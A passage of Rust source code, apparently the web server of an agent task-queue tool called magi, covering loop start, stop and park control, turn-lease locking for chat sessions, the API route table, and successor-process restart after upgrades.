921    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
922    /// to build confidence the interleaving is handled deterministically and
923    /// not just on a lucky run) needs a fresh channel pair each time, on the
924    /// one `Ui` it already built its temp directories around.
925    #[cfg(test)]
926    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
927        *self
928            .busy_queue_gate
929            .lock()
930            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
931    }
932
933    /// The loop's state, for [`serve`]'s own way out.
934    fn looping(&self) -> Arc<Mutex<LoopState>> {
935        Arc::clone(&self.looping)
936    }
937
938    /// Start the loop in this process, or say who already has one.
939    ///
940    /// `foreign` is passed in rather than read here so that one request makes
941    /// one judgement about who owns the loop: reading the status file again
942    /// inside this function could refuse a start for a daemon the same
943    /// response then reports as gone.
944    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
945        if let Some(other) = foreign {
946            return Err(ApiError::conflict(format!(
947                "{} is already running the loop, so this one will not start a \
948                 second: two loops on one queue race for the same claims and \
949                 burn the agent quota twice over. Stop it where it was \
950                 started.",
951                other.who()
952            )));
953        }
954        let mut state = self.lock_loop();
955        if state.live.as_ref().is_some_and(Live::alive) {
956            return Err(ApiError::conflict(format!(
957                "this magi web process (pid {}) is already running the loop",
958                std::process::id()
959            )));
960        }
961
962        let stop = daemon::Stop::new();
963        // The CLI's own defaults for everything the UI has no opinion about:
964        // one poll interval and one retry budget, so a loop started from a
965        // phone behaves exactly like the `magi serve` it replaces.
966        let opts = daemon::Opts {
967            repo: self.repo.clone(),
968            merge: self.merge.clone(),
969            // Whatever this `Ui` already reports worktree sizes and folds
970            // against (see `with_worktrees_root`) is what the loop it starts
971            // must reclaim orphaned worktrees under too - two different
972            // opinions about where the worktree bay is would leave the
973            // janitor pass reclaiming a directory nothing else on this
974            // process is even looking at.
975            worktrees_root: Some(self.worktrees_root.clone()),
976            ..daemon::Opts::default()
977        };
978        let launch = self.launch;
979        let looping = Arc::clone(&self.looping);
980        let handle = tokio::spawn({
981            let opts = opts.clone();
982            let stop = stop.clone();
983            async move {
984                let failure = match launch(opts, stop).await {
985                    Ok(()) => None,
986                    Err(e) => Some(format!("{e:#}")),
987                };
988                match &failure {
989                    Some(why) => tracing::error!("the loop stopped: {why}"),
990                    None => tracing::info!("the loop stopped"),
991                }
992                // Recorded by the task itself rather than reaped by whichever
993                // request happens next, so `loop_rev` moves the moment the
994                // loop ends and a phone with the change stream open learns
995                // that it did. Clearing `live` drops this task's own handle,
996                // which only detaches it, and is the last thing it does.
997                let mut state = lock_or_recover(&looping);
998                state.live = None;
999                state.last_error = failure;
1000                state.rev += 1;
1001            }
1002        });
1003        tracing::info!(
1004            "the loop is now running in this process: repo {}, merge {}",
1005            opts.repo.display(),
1006            opts.merge.as_deref().unwrap_or("as the config says")
1007        );
1008        state.live = Some(Live { stop, handle, opts });
1009        // A fresh start is not the place to keep showing why the last one
1010        // died; the operator has read it and pressed the button anyway.
1011        state.last_error = None;
1012        state.rev += 1;
1013        Ok(())
1014    }
1015
1016    /// Ask the loop to stop, without waiting for it to get there.
1017    ///
1018    /// Idempotent: a second tap on stop is not an error, because the first one
1019    /// leaves the loop running for as long as the run in flight takes and the
1020    /// operator has no way to tell a slow stop from a lost one.
1021    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1022        if let Some(other) = foreign {
1023            return Err(ApiError::conflict(format!(
1024                "the loop belongs to {}, and this process cannot stop it - \
1025                 stop it where it was started. A button that silently did \
1026                 nothing would be worse than this refusal.",
1027                other.who()
1028            )));
1029        }
1030        let mut state = self.lock_loop();
1031        // An operator who stops the loop has decided it stays stopped, even
1032        // across an upgrade that was already in flight.
1033        if !park {
1034            state.resume_after_handover = false;
1035        }
1036        let Some(live) = state.live.as_ref() else {
1037            return Ok(());
1038        };
1039        // A park upgrades a stop that has already been asked for: the
1040        // operator who tapped "stop" and then realised the run has an hour
1041        // left must not have to restart the loop to change their mind.
1042        if live.stop.stopped() && (!park || live.stop.parking()) {
1043            return Ok(());
1044        }
1045        if park {
1046            live.stop.park(crate::run::ParkCause::Operator);
1047            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
1048        } else {
1049            live.stop.stop();
1050            tracing::info!("the loop was asked to stop; a run in flight is finished first");
1051        }
1052        state.rev += 1;
1053        Ok(())
1054    }
1055
1056    /// The loop as both `/api/loop` and `/api/health` report it.
1057    ///
1058    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1059    /// health answers with this view *and* the daemon object beside it: one
1060    /// read per response is what stops a single answer naming a foreign owner
1061    /// in one field and calling the loop free in the other.
1062    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1063        let state = self.lock_loop();
1064        // A loop that panicked never recorded its own end, so the handle -
1065        // not the presence of the record - is what "running" means.
1066        let live = state.live.as_ref().filter(|live| live.alive());
1067        LoopView {
1068            running: live.is_some(),
1069            stopping: live.is_some_and(|live| live.stop.finishing()),
1070            parking: live.is_some_and(|live| live.stop.parking()),
1071            owned: live.is_some(),
1072            repo: live
1073                .map_or(&self.repo, |live| &live.opts.repo)
1074                .display()
1075                .to_string(),
1076            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1077            last_error: state.last_error.clone(),
1078            daemon: DaemonView::of(reading),
1079        }
1080    }
1081
1082    /// Start the loop in a successor whose predecessor was running one.
1083    ///
1084    /// Goes through the same path as the UI's start-loop action. A refusal
1085    /// (another process owns the loop) is logged and left in `last_error`;
1086    /// the loop then simply stays stopped.
1087    fn resume_after_handover(&self, resume: bool) -> bool {
1088        if !resume {
1089            return false;
1090        }
1091        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
1092        match self.start_loop(foreign) {
1093            Ok(()) => true,
1094            Err(e) => {
1095                let why = format!(
1096                    "the loop could not be resumed after the upgrade: {}",
1097                    e.message
1098                );
1099                tracing::warn!("{why}");
1100                let mut state = self.lock_loop();
1101                state.last_error = Some(why);
1102                state.rev += 1;
1103                false
1104            }
1105        }
1106    }
1107
1108    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1109    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1110        lock_or_recover(&self.looping)
1111    }
1112
1113    /// Whether this process currently owns the agent turn for `id`.
1114    ///
1115    /// This deliberately describes only the in-memory claim made by
1116    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
1117    /// never persisted with a [`Talk`].
1118    fn is_thinking(&self, id: &str) -> bool {
1119        self.talk_turns
1120            .lock()
1121            .is_ok_and(|turns| turns.live.contains(id))
1122            // Another process (the CLI) can hold the turn through the
1123            // on-disk lease.
1124            || self.talks.turn_held(id)
1125    }
1126
1127    /// Claim the right to run one turn in a talk, or report that it is busy.
1128    ///
1129    /// A talk is strictly turn-based: the agent is resumed with the
1130    /// conversation it already has, so two turns running at once would resume
1131    /// the same session twice and append their answers in whatever order the
1132    /// two CLIs finished in. The operator would come back to a transcript
1133    /// with two half-turns interleaved, which is unreadable and, worse,
1134    /// unfixable - there is no undo for a persisted turn.
1135    ///
1136    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1137    /// starting a second CLI invocation for the same session.
1138    ///
1139    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1140    /// taken to test-and-insert and released before the agent is spawned. The
1141    /// returned guard removes the id on drop, which is what makes a panicking
1142    /// handler or a phone that walks out of range leave the talk usable - axum
1143    /// drops the handler future when the client disconnects, and without the
1144    /// guard that talk would be wedged until the server restarted.
1145    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1146        self.claim_talk_turn(id, false)
1147    }
1148
1149    /// Claim a turn after durably queueing a draft, or notify its current
1150    /// owner that a drainer must recheck before it releases the slot.
1151    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1152        self.claim_talk_turn(id, true)
1153    }
1154
1155    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1156        let mut live = self
1157            .talk_turns
1158            .lock()
1159            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1160        if live.parking {
1161            if queued {
1162                // The draft is already durable; nothing may drain it until
1163                // the successor is up, so the caller sees a busy slot.
1164                *live.queued.entry(id.to_owned()).or_default() += 1;
1165                return Ok(None);
1166            }
1167            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
1168        }
1169        let inserted = live.live.insert(id.to_owned());
1170        // The on-disk lease is the cross-process half of the gate. Taken
1171        // second, and undone if lost, so `live` never claims a turn the lease
1172        // refused.
1173        let lease = if inserted {
1174            match self.talks.claim_turn(id) {
1175                Ok(Some(lease)) => Some(lease),
1176                Ok(None) => {
1177                    live.live.remove(id);
1178                    None
1179                }
1180                Err(e) => {
1181                    live.live.remove(id);
1182                    return Err(ApiError::from(e));
1183                }
1184            }
1185        } else {
1186            None
1187        };
1188        if lease.is_none() {
1189            if queued {
1190                // A queued write has landed before this busy check.
1191                // `drain_loop` uses this generation to recheck after its
1192                // off-thread disk read, so it cannot release a turn between
1193                // this check and the write.
1194                *live.queued.entry(id.to_owned()).or_default() += 1;
1195            }
1196            return Ok(None);
1197        }
1198        Ok(Some(TalkTurnGuard {
1199            talk: id.to_owned(),
1200            turns: Arc::clone(&self.talk_turns),
1201            released: false,
1202            lease,
1203        }))
1204    }
1205
1206    /// Decide whether a free talk may start a new immediate turn while its
1207    /// claim lock is held. A persisted draft without an owner is recovery
1208    /// state, not a busy turn: two simultaneous `/say` requests must both
1209    /// leave it untouched rather than one of them appending to it.
1210    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1211        let mut live = self
1212            .talk_turns
1213            .lock()
1214            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1215        // Same answer as a running turn: the text is queued as a draft.
1216        if live.parking || live.live.contains(id) {
1217            return Ok(TalkTurnStart::Busy);
1218        }
1219        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1220            return Ok(TalkTurnStart::Foreign);
1221        };
1222        // A refused `Pending` below drops the lease again.
1223        let talk = self.talks.get(id).map_err(ApiError::from)?;
1224        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1225            return Ok(TalkTurnStart::Pending);
1226        }
1227        live.live.insert(id.to_owned());
1228        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1229            talk: id.to_owned(),
1230            turns: Arc::clone(&self.talk_turns),
1231            released: false,
1232            lease: Some(lease),
1233        }))
1234    }
1235
1236    fn queued_generation(&self, id: &str) -> u64 {
1237        let live = self
1238            .talk_turns
1239            .lock()
1240            .unwrap_or_else(PoisonError::into_inner);
1241        live.queued.get(id).copied().unwrap_or(0)
1242    }
1243
1244    /// The shared turn slots, for the upgrade hand-over to wait on.
1245    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
1246        Arc::clone(&self.talk_turns)
1247    }
1248
1249    /// Park the loop for an upgrade, and report the run that is parking.
1250    ///
1251    /// A park rather than a stop: a stop waits out the whole competition, and
1252    /// not waiting is the point of upgrading from a phone. `None` means
1253    /// nothing was in flight, which is worth saying so the operator is not
1254    /// told a run is parking when none is.
1255    fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
1256        let parking = {
1257            let mut state = self.lock_loop();
1258            // Decided here, before the park: by the time the handover fires
1259            // an idle loop has already seen the park and ended, so `live`
1260            // would read as "was never running". A loop the operator had
1261            // already stopped stays stopped.
1262            //
1263            // Sticky: a second upgrade request finds the loop already
1264            // stopping because of the first one's park, and must not read
1265            // that as the operator having stopped it. Only an explicit stop
1266            // or a failed update clears an earlier intent.
1267            let resume = state.resume_after_handover
1268                || state
1269                    .live
1270                    .as_ref()
1271                    .is_some_and(|live| live.alive() && !live.stop.stopped());
1272            state.resume_after_handover = resume;
1273            let Some(live) = state.live.as_ref() else {
1274                return Ok(None);
1275            };
1276            let busy = live.stop.busy_now();
1277            live.stop.park(crate::run::ParkCause::Upgrade {
1278                from: from.to_owned(),
1279                to: to.map(|t| t.trim_start_matches('v').to_owned()),
1280            });
1281            state.rev += 1;
1282            busy
1283        };
1284        Ok(if parking {
1285            // More than one run can be in flight now (see
1286            // `Config::daemon.max_concurrent_runs`); this answer names one of
1287            // them so the operator sees a park actually happened, not every
1288            // run a park now asks to stop at its next boundary.
1289            daemon::current_work(&self.home, jiff::Timestamp::now())
1290                .into_iter()
1291                .next()
1292                .map(|c| c.run)
1293        } else {
1294            None
1295        })
1296    }
1297
1298    /// Claim a run for a resume, on the same reasoning as
1299    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1300    /// disconnected phone does not wedge the run until the server restarts.
1301    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1302        let mut live = self
1303            .resuming
1304            .lock()
1305            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1306        if !live.insert(id.to_owned()) {
1307            return Err(ApiError::conflict(format!(
1308                "run {id} is already being resumed"
1309            )));
1310        }
1311        Ok(ResumeGuard {
1312            run: id.to_owned(),
1313            resuming: Arc::clone(&self.resuming),
1314        })
1315    }
1316
1317    /// The router, with this state baked in.
1318    ///
1319    /// The three front-end files get one explicit route each rather than a
1320    /// path parameter, so there is no traversal surface to get wrong: the set
1321    /// of servable paths is the set written here. The asset route below is the
1322    /// one exception and the only place in this server where a client names a
1323    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1324    pub fn router(self) -> Router {
1325        Router::new()
1326            .route("/", get(index))
1327            .route("/app.css", get(app_css))
1328            .route("/app.js", get(app_js))
1329            .route("/api/health", get(health))
1330            .route("/api/references", post(id_links::resolve_text))
1331            .route("/api/loop", get(loop_get).post(loop_post))
1332            .route("/api/upgrade", post(upgrade_post))
1333            .route("/api/runs", get(runs_list))
1334            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1335            .route("/api/runs/{id}/core", get(run_core))
1336            .route("/api/runs/{id}/report", get(run_report))
1337            .route("/api/runs/{id}/report.json", get(run_report_json))
1338            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1339            .route("/api/runs/{id}/fold", post(run_fold))
1340            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1341            .route("/api/runs/{id}/resume", post(run_resume))
1342            .route("/api/queue", get(queue_list))
1343            .route("/api/queue/page", get(queue_page))
1344            .route("/api/search", get(search_get))
1345            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1346            .route("/api/queue/{id}/core", get(task_core))
1347            .route("/api/stats", get(stats_get))
1348            .route("/api/stats/queue", get(stats_queue))
1349            .route("/api/repos", get(repos_list))
1350            .route("/api/settings", get(settings_get))
1351            .route("/api/settings/roles", put(settings_put_roles))
1352            .route("/api/queue/{id}/hold", post(queue_hold))
1353            .route("/api/queue/{id}/release", post(queue_release))
1354            .route("/api/queue/{id}/priority", post(queue_priority))
1355            .route("/api/queue/{id}/urgent", post(queue_urgent))
1356            .route("/api/queue/{id}/implementers", post(queue_implementers))
1357            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1358            .route("/api/queue/{id}/edit", post(queue_edit))
1359            .route("/api/queue/{id}/done", post(queue_done))
1360            .route("/api/questions", get(questions_list))
1361            .route("/api/questions/core", get(questions_core))
1362            .route("/api/questions/origins", get(question_origins))
1363            .route("/api/questions/{id}/answer", post(question_answer))
1364            .route("/api/questions/{id}/say", post(question_say))
1365            .route("/api/questions/{id}/consult", post(question_consult))
1366            .route("/api/questions/{id}/panel", get(question_panel))
1367            // The same asset, reachable from inside the panel by its bare
1368            // filename. A document served at `.../panel` resolves `shot.png`
1369            // to `.../shot.png`, which is not the asset route, so a panel
1370            // written the way its author was told to write it showed broken
1371            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1372            // it - deliberately - so the fix is that the panel's own URL ends
1373            // in a filename and its siblings are the assets.
1374            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1375            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1376            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1377            .route("/api/notifications", get(notifications_list))
1378            .route("/api/notifications/read-all", post(notifications_read_all))
1379            .route("/api/notifications/{id}/read", post(notification_read))
1380            .route(
1381                "/api/notifications/{id}/dismiss",
1382                post(notification_dismiss),
1383            )
1384            .route("/api/talks", get(talks_list).post(talk_post))
1385            .route("/api/talks/page", get(talks_page))
1386            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1387            .route("/api/talks/{id}/core", get(talk_core))
1388            .route("/api/talks/{id}/sections", get(talk_sections))
1389            .route("/api/talks/{id}/say", post(talk_say))
1390            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1391            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1392            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1393            .route("/api/talks/{id}/agent", post(talk_agent))
1394            .route("/api/talks/{id}/persona", post(talk_persona))
1395            .route("/api/talks/{id}/implementers", post(talk_implementers))
1396            .route("/api/talks/{id}/close", post(talk_close))
1397            .route("/api/talks/{id}/reopen", post(talk_reopen))
1398            // `DefaultBodyLimit` is raised only on this one route - every
1399            // other route on this server answers in a few kilobytes, and
1400            // widening the crate-wide default for all of them just because
1401            // one accepts a picture would let any other handler be handed
1402            // a multi-megabyte body it never expects.
1403            .route(
1404                "/api/talks/{id}/attachments",
1405                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1406            )
1407            .route(
1408                "/api/talks/{id}/attachments/{att}",
1409                get(talk_attachment_get),
1410            )
1411            .route("/api/talks/{id}/avatar", get(talk_avatar))
1412            .route("/avatars/operator.svg", get(operator_avatar))
1413            .route(
1414                "/api/avatar-settings",
1415                get(avatar_settings_get)
1416                    .put(avatar_settings_put)
1417                    .delete(avatar_settings_delete),
1418            )
1419            .route("/avatars/persona", get(settings_persona_avatar))
1420            .route("/avatars/magi", get(magi_avatar))
1421            .route(
1422                "/api/magi-icon",
1423                get(magi_icon_get)
1424                    .put(magi_icon_put)
1425                    .delete(magi_icon_delete),
1426            )
1427            .route("/api/events", get(events))
1428            .with_state(Arc::new(self))
1429    }
1430}
1431
1432/// What a chat request is told while an upgrade is parking and the request
1433/// cannot be queued as a draft.
1434const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
1435
1436/// One talk's turn slot, released on drop.
1437///
1438/// A guard rather than a matching `remove` at the end of the handler, because
1439/// the handler has several early returns and one `await` that can be cancelled
1440/// out from under it. A leaked id is a talk nobody can talk to again.
1441#[derive(Debug)]
1442struct TalkTurnGuard {
1443    talk: String,
1444    turns: Arc<Mutex<TalkTurns>>,
1445    released: bool,
1446    /// The cross-process half of the slot; dropped with the guard.
1447    lease: Option<crate::talk::TurnLease>,
1448}
1449
1450/// In-memory turn ownership plus the queue generation observed by a drainer.
1451///
1452/// The generation changes only after a durable queued draft is written and its
1453/// caller finds the turn busy. That lets the loop run filesystem work outside
1454/// this mutex while still making the final empty-check/release atomic with a
1455/// concurrent queue handoff.
1456#[derive(Debug, Default)]
1457struct TalkTurns {
1458    live: HashSet<String>,
1459    queued: HashMap<String, u64>,
1460    /// Set while an upgrade hand-over is parking: no turn may start, so the
1461    /// set in `live` can only shrink. Cleared again if the hand-over ends
1462    /// without exiting the process.
1463    parking: bool,
1464}
1465
1466/// The atomic initial-state decision made by
1467/// [`Ui::begin_talk_turn_unless_pending`].
1468enum TalkTurnStart {
1469    Claimed(TalkTurnGuard),
1470    Busy,
1471    /// Another process holds the turn lease. Unlike `Busy` there is no local
1472    /// drain loop that would answer a queued draft, so the caller refuses.
1473    Foreign,
1474    Pending,
1475}
1476
1477impl TalkTurnGuard {
1478    /// Does this guard still own the on-disk lease? A transient failure to
1479    /// check counts as owning: the next beat decides. A guard that lost it
1480    /// must not start another turn on the same session.
1481    fn owns(&self) -> bool {
1482        self.lease
1483            .as_ref()
1484            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1485    }
1486
1487    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1488    /// than the lease's TTL still reads as held to other processes.
1489    async fn respond(
1490        &self,
1491        talk: &mut Talk,
1492        talks: &Talks,
1493        cfg: &Config,
1494        text: &str,
1495    ) -> anyhow::Result<()> {
1496        let lease = self
1497            .lease
1498            .as_ref()
1499            .context("the turn guard no longer holds its lease")?;
1500        talk::respond(lease, talk, talks, cfg, text).await
1501    }
1502
1503    /// Release while the caller already holds the claim mutex, closing the
1504    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1505    fn release(mut self, live: &mut TalkTurns) {
1506        // The on-disk lease goes first: while `live` still names the talk, no
1507        // local claim can start, so nobody observes the slot free but the
1508        // lease held.
1509        self.lease = None;
1510        live.live.remove(&self.talk);
1511        live.queued.remove(&self.talk);
1512        self.released = true;
1513    }
1514}
1515
1516impl Drop for TalkTurnGuard {
1517    fn drop(&mut self) {
1518        if self.released {
1519            return;
1520        }
1521        // Lease first, then the in-process slot (see `release`).
1522        drop(self.lease.take());
1523        if let Ok(mut live) = self.turns.lock() {
1524            live.live.remove(&self.talk);
1525            live.queued.remove(&self.talk);
1526        }
1527    }
1528}
1529
1530/// Releases a resume claim, so a run is resumable again after the attempt.
1531struct ResumeGuard {
1532    run: String,
1533    resuming: Arc<Mutex<HashSet<String>>>,
1534}
1535
1536impl Drop for ResumeGuard {
1537    fn drop(&mut self) {
1538        if let Ok(mut live) = self.resuming.lock() {
1539            live.remove(&self.run);
1540        }
1541    }
1542}
1543
1544/// Bind the port, waiting briefly for a predecessor to let go of it.
1545///
1546/// A restart hands the address from one process to the next, and the old one
1547/// holds its listener until it unwinds. A single `bind` can lose that race,
1548/// and for a restart triggered from a phone that means the deck never comes
1549/// back with no terminal around to say why.
1550///
1551/// Bounded, and only for the one error a wait can fix: anything else fails at
1552/// once, because retrying it would turn a clear message into a silence.
1553async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1554    const WINDOW: Duration = Duration::from_secs(10);
1555    const GAP: Duration = Duration::from_millis(250);
1556
1557    let deadline = std::time::Instant::now() + WINDOW;
1558    let mut said = false;
1559    loop {
1560        match tokio::net::TcpListener::bind(socket).await {
1561            Ok(listener) => return Ok(listener),
1562            Err(e)
1563                if e.kind() == std::io::ErrorKind::AddrInUse
1564                    && std::time::Instant::now() < deadline =>
1565            {
1566                if !said {
1567                    said = true;
1568                    tracing::info!(
1569                        "{socket} is still held - waiting up to {}s for it, \
1570                         which is what a restart looks like from here",
1571                        WINDOW.as_secs()
1572                    );
1573                }
1574                tokio::time::sleep(GAP).await;
1575            }
1576            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1577        }
1578    }
1579}
1580
1581/// Signalled when an upgrade has replaced the binary and the successor should
1582/// take this address over. One per process: there is one address to hand on.
1583static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1584
1585/// Set to `1` on the successor when the loop was running at handover.
1586const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1587
1588/// Whether the environment value asks for the loop to be resumed.
1589fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1590    value.is_some_and(|v| v == "1")
1591}
1592
1593/// Start this binary again with the same arguments, detached.
1594///
1595/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1596/// so the address is already free when the successor binds it. The first
1597/// attempt at this spawned the successor two hundred milliseconds before
1598/// exiting instead, and the released binary - which has no bind retry - died
1599/// on "address already in use" with its stdio sent to null, so the deck
1600/// simply never came back.
1601///
1602/// Detached and without inherited stdio: the successor has to outlive this
1603/// process, and must not hold open a pipe a terminal is waiting on.
1604///
1605/// `resume` tells the successor to start the queue loop, through
1606/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1607/// process inherited from its own predecessor cannot leak into a generation
1608/// that should not resume. The successor's own environment keeps the variable
1609/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1610///
1611/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1612/// than sent to null: a supervisor's redirection only ever held the first
1613/// generation's descriptors, so every later generation logged nowhere. The
1614/// pid of the child is returned so the handover log can name it.
1615fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1616    let exe = std::env::current_exe().context("find this binary")?;
1617    let args: Vec<String> = std::env::args().skip(1).collect();
1618    updater::log_step(
1619        home,
1620        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1621    );
1622    let log_path = home.join(WEB_LOG);
1623    let open_log = || {
1624        std::fs::create_dir_all(home)?;
1625        std::fs::OpenOptions::new()
1626            .create(true)
1627            .append(true)
1628            .open(&log_path)
1629    };
1630    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1631        Ok(pair) => (
1632            std::process::Stdio::from(pair.0),
1633            std::process::Stdio::from(pair.1),
1634        ),
1635        Err(e) => {
1636            updater::log_warn(
1637                home,
1638                &format!(
1639                    "could not open {}: {e}; the successor logs nowhere",
1640                    log_path.display()
1641                ),
1642            );
1643            (std::process::Stdio::null(), std::process::Stdio::null())
1644        }
1645    };
1646
1647    let mut cmd = std::process::Command::new(&exe);
1648    if resume {
1649        cmd.env(RESUME_LOOP_ENV, "1");
1650    } else {
1651        cmd.env_remove(RESUME_LOOP_ENV);
1652    }
1653    cmd.args(&args)
1654        .stdin(std::process::Stdio::null())
1655        .stdout(out)
1656        .stderr(err);
1657    #[cfg(windows)]
1658    {
1659        use std::os::windows::process::CommandExt as _;
1660        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1661        // and Ctrl-C in the old terminal must not reach the successor.
1662        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1663    }
1664    let child = cmd.spawn().context("start the successor")?;
1665    Ok(child.id())
1666}
1667
1668/// File under `<home>` the successor's output is appended to.
1669const WEB_LOG: &str = "web.log";
1670
1671/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1672/// stored by an earlier `notify_one` is consumed by the first poll, so the
1673/// signal is never missed and never wakes a second time.
1674async fn wait_for_handover(signal: &Notify) {
1675    signal.notified().await;
1676}
1677
1678/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1679///
1680/// The server itself owns no state, so nothing here is graceful for the HTTP
1681/// side's sake: the connections go with the dropped listener, which costs a
1682/// phone one change-stream reconnection it was going to make anyway.
1683///
1684/// The signal branch is not optional now that the loop lives in this process.
1685/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1686/// handler is what stops the signal terminating the process - so without a
1687/// branch of our own, the first Ctrl-C after the operator started the loop
1688/// would stop the loop and leave `magi web` listening forever, unkillable
1689/// from the terminal it was started in.
1690///
1691/// What it waits for is the loop, not the sockets. A run in flight is
1692/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1693/// mid-node leaves worktrees, branches and agent sessions behind and throws
1694/// away every agent call already paid for.
1695///
1696/// The server therefore runs on a task of its own rather than inside the
1697/// `select!`: an arm that resolves *drops* the futures the other arms were
1698/// polling, so serving the address from inside one would take the deck down
1699/// at the instant the handover began and keep it down for the whole park -
1700/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1701/// owns the order.
1702pub async fn serve(opts: Opts) -> Result<()> {
1703    let (addr, warning) = resolve_bind(&opts.bind);
1704    if let Some(warning) = warning {
1705        tracing::warn!("{warning}");
1706    }
1707
1708    // Process-global, and therefore set exactly once, here: the report route
1709    // must never emit escape sequences into a browser, and toggling the flag
1710    // per request would race with a concurrent request rendering its own
1711    // report. Startup is the only moment at which no request can observe the
1712    // change. Nothing in the server turns colour back on.
1713    report::set_color(false);
1714
1715    let repo = normalize_default_repo(opts.repo).await;
1716    let ui = Ui::open(repo).with_merge(opts.merge);
1717    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1718    // home to bracket the parking and restarting stages, and `run_update_recheck`
1719    // needs both it and the repo, and by then there is no `ui` left to read
1720    // them from.
1721    let home = ui.home.clone();
1722    let repo = ui.repo.clone();
1723    // Settles a progress record a predecessor left non-terminal - either this
1724    // *is* the successor `spawn_successor` started, or the previous process
1725    // died mid-handover. Before the router starts answering, so the very
1726    // first `/api/health` a phone gets from this process already reflects it.
1727    updater::reconcile_after_restart(&home);
1728    updater::log_step(
1729        &home,
1730        &format!(
1731            "web process started (version {}); handover log {}, successor output {}",
1732            env!("CARGO_PKG_VERSION"),
1733            updater::log_path(&home).display(),
1734            home.join(WEB_LOG).display()
1735        ),
1736    );
1737    updater::spawn_watchdog(home.clone());
1738    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1739    // `spawn_update_check` does at startup only ever runs once: after that,
1740    // `/api/health`'s `update` field - and the phone's "Update & restart"
1741    // button, which reads the very same cache - would stay frozen on
1742    // whatever that single check found, no matter how many releases ship
1743    // afterwards. This keeps it current instead. Detached: it must keep
1744    // going for as long as this process serves, `serve` has nothing to await
1745    // it for, and it exits on its own the moment the process does.
1746    tokio::spawn(run_update_recheck(repo, home.clone()));
1747    let looping = ui.looping();
1748    let turns = ui.turns();
1749    let talk_store = ui.talks.clone();
1750    let socket = SocketAddr::new(addr, opts.port);
1751    let listener = bind_waiting(socket).await?;
1752    let url = format!("http://{addr}:{}", opts.port);
1753    tracing::info!(
1754        "magi web UI on {url} - there is no authentication, so anyone who can \
1755         reach this address can file and hold tasks: the tailnet is the \
1756         security boundary"
1757    );
1758    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1759        tracing::info!("resumed the loop the predecessor was running");
1760    } else {
1761        tracing::info!(
1762            "the queue loop is not running yet - start it from the UI, which is \
1763             the whole reason this process can: nothing in the queue moves until \
1764             something is running the loop"
1765        );
1766    }
1767    if opts.open {
